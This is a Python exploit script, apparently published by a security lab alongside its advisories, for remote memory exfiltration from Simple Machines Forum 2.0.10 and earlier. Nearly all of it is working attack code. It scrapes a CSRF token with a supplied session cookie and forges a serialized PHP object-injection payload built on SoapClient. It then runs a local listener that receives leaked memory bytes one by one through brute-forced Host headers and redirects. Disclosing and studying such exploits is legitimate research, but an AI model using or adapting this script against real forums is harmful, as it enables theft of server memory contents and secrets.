#!/usr/bin/python
# -*- coding: iso-8859-15 -*-
#############################################################################
# Title: SMF (Simple Machine Forum) <= 2.0.10 Remote Memory Exfiltration Exploit
# Authors: Andrea Palazzo
# <andrea [dot] palazzo [at] truel [dot] it>
# Filippo Roncari
# <filippo [dot] roncari [at] truel [dot] it>
# Truel Lab ~ http://lab.truel.it
# Requirements: SMF <= 2.0.10
# PHP <= 5.6.11 / 5.5.27 / 5.4.43
# Advisories: TL-2015-PHP04 http://lab.truel.it/d/advisories/TL-2015-PHP04.txt
# TL-2015-PHP06 http://lab.truel.it/d/advisories/TL-2015-PHP06.txt
# TL-2015-SMF01 n/y/a
# Details: http://lab.truel.it/2015/09/php-object-injection-the-dirty-way/
# Demo: https://www.youtube.com/watch?v=dNRXTt7XQxs
############################################################################
import sys, requests, time, os, socket, thread, base64, string, urllib
from multiprocessing import Process
#Payload Config
bytes_num = 000 #num of bytes to dump
address = 000 #starting memory address
#Target Config
cookie = {'PHPSESSID' : '000'} #SMF session cookie
target_host = 'http://localhost/smf/index.php' #URL of target installation index.php
csrftoken = ''
#Local Server Config
host = "localhost"
port = 31337
#Memory dump variables
dumped = ''
current_dump = ''
in_string = False
brute_index = 0
brute_list = list(string.ascii_letters + string.digits)
r_ok = 'HTTP/1.0 200 OK' + '\n'
r_re = 'HTTP/1.0 302 OK' + '\n'
r_body = '''Server: Truel-Server
Content-Type: text/xml
Connection: keep-alive
Content-Length: 395
<env:Envelope xmlns:env="http://www.w3.org/2003/05/soap-envelope">
<env:Header>
<n:alertcontrol xmlns:n="http://example.org/alertcontrol">
<n:priority>1</n:priority>
<n:expires>2001-06-22T14:00:00-05:00</n:expires>
</n:alertcontrol>
</env:Header>
<env:Body>
<m:alert xmlns:m="http://example.org/alert">
<m:msg>Truel</m:msg>
</m:alert>
</env:Body>
</env:Envelope>'''
def serverStart():
print "[+] Setting up local server on port " + str(port)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
if not sock:
print "[X] Fatal Error: Unable to create socket"
sock.bind((host, port))
sock.listen(1)
return sock
def getToken():
global csrftoken
print "[+] Trying to get a valid CSRF token"
for n in range(3): #3 attempts
r = requests.get(target_host, cookies=cookie, allow_redirects=False)
r = r.text
if(r.find("action=logout;")!=-1):
break
start = r.find("action=logout;")
if (start !=-1):
end = (r[start+14:]).find('">')
csrftoken = r[start+14 : start+end+14]
print "[+] Authentication done. Got token " + str(csrftoken)
return True
else:
print "[X] Fatal Error: You are not authenticated. Check the provided PHPSESSID."
return False
def prepareForExploit():
if not(getToken()): #get CSRF token
os._exit(1)
target = target_host + '?action=suggest&' + csrftoken + '&search_param=test'
r = requests.get(target, cookies=cookie, allow_redirects=False) #necessary request
return
def forgePayload(current_try, address):
location = "http://" + current_try
payload = 'O:12:"DateInterval":1:{s:14:"special_amount";O:9:"Exception":1:{s:19:"\x00Exception\x00previous";O:10:"SoapClient":5:{s:3:"uri";s:1:"a";s:8:"location";s:' + str(len(location)) + ':"' + location + '";s:8:"_cookies";a:1:{s:5:"owned";a:3:{i:0;s:1:"a";i:2;i:' + str(address) + ';i:1;i:' + str(address) + ';}}s:11:"_proxy_host";s:' + str(len(host)) + ':"' + str(host) + '";s:11:"_proxy_port";i:' + str(port) + ';}}}'
return payload
def sendPayload(payload,null):
target = target_host + '?action=suggest&' + csrftoken + '&search_param=' + (base64.b64encode(payload)) #where injection happens
try:
r = requests.get(target, cookies=cookie, allow_redirects=False)
except requests.exceptions.RequestException:
print "[X] Fatal Error: Unable to reach the remote host (Connection Refuse)"
os._exit(1)
return
def limitReached(dumped):
if(len(dumped) >= bytes_num):
return True
else:
return False
def printDumped(dumped):
d = " "
cnt = 1
print "[+] " + str(len(dumped)) + " bytes dumped from " + target_host
print "[+] ======================= Dumped Data ======================="
for i in range(bytes_num):
d = d + str(dumped[i])
if (cnt % 48 == 0):
print d
d = " "
if (cnt == bytes_num):
print d
cnt = cnt + 1
def getSoapRequest(sock):
connection, sender = sock.accept()
request = connection.recv(8192)
return (connection, request)
def sendSoapResponse(connection, content):
connection.send(content)
connection.close()
return
def getDumpedFromHost(request):
i = request.find("Host: ") + 6
v = request[i:i+1]
return v
def pushDumped(value, string):
global dumped
global current_dump
global brute_index
global address
global in_string
dumped = str(value) + str(dumped)
if(string):
current_dump = str(value) + str(current_dump)
else:
current_dump = ""
in_string = string
address = address-1
brute_index = 0
print "[" + hex(address) + "] " + str(value)
return
def bruteViaResponse(sock):
global brute_index
current_try = ""
response_ok = r_ok + r_body
for n in range(19):
connection, request = getSoapRequest(sock)
if not request:
connection.close()
return False
if request.find("owned")!=-1:
pushDumped(getDumpedFromHost(request), True)
sendSoapResponse(connection,response_ok)
return True
else:
if((brute_index+1) == len(brute_list)):
sendSoapResponse(connection,response_ok)
return False
brute_index = brute_index + 1
if not in_string:
current_try = brute_list[brute_index]
else:
current_try = brute_list[brute_index] + str(current_dump)
response_re = r_re + 'Location: http://' + str(current_try) + '\n' + r_body
sendSoapResponse(connection,response_re)
connection, request = getSoapRequest(sock)
if request.find("owned")!=-1:
pushDumped(getDumpedFromHost(request), True)
sendSoapResponse(connection,response_ok)
return True
sendSoapResponse(connection,response_ok)
return False
def bruteViaRequest(sock):
global brute_index
brute_index = 0
current_try = ""
while(True):
if(brute_index == len(brute_list)):
pushDumped(".", False)
if limitReached(dumped):
printDumped(dumped)
return
if not in_string:
current_try = brute_list[brute_index]
else:
current_try = brute_list[brute_index] + str(current_dump)
payload = forgePayload(current_try,address)
thread.start_new_thread(sendPayload,(payload,""))
if not bruteViaResponse(sock):
brute_index = brute_index + 1
return
def runExploit():
print "[+] Starting exploit"
sock = serverStart()
prepareForExploit()
print "[+] Trying to dump " + str(bytes_num) + " bytes from " + str(target_host)
bruteViaRequest(sock)
sock.close()
print "[+] Bye ~ Truel Lab (http://lab.truel.it)"
sys.exit(0)
runExploit()
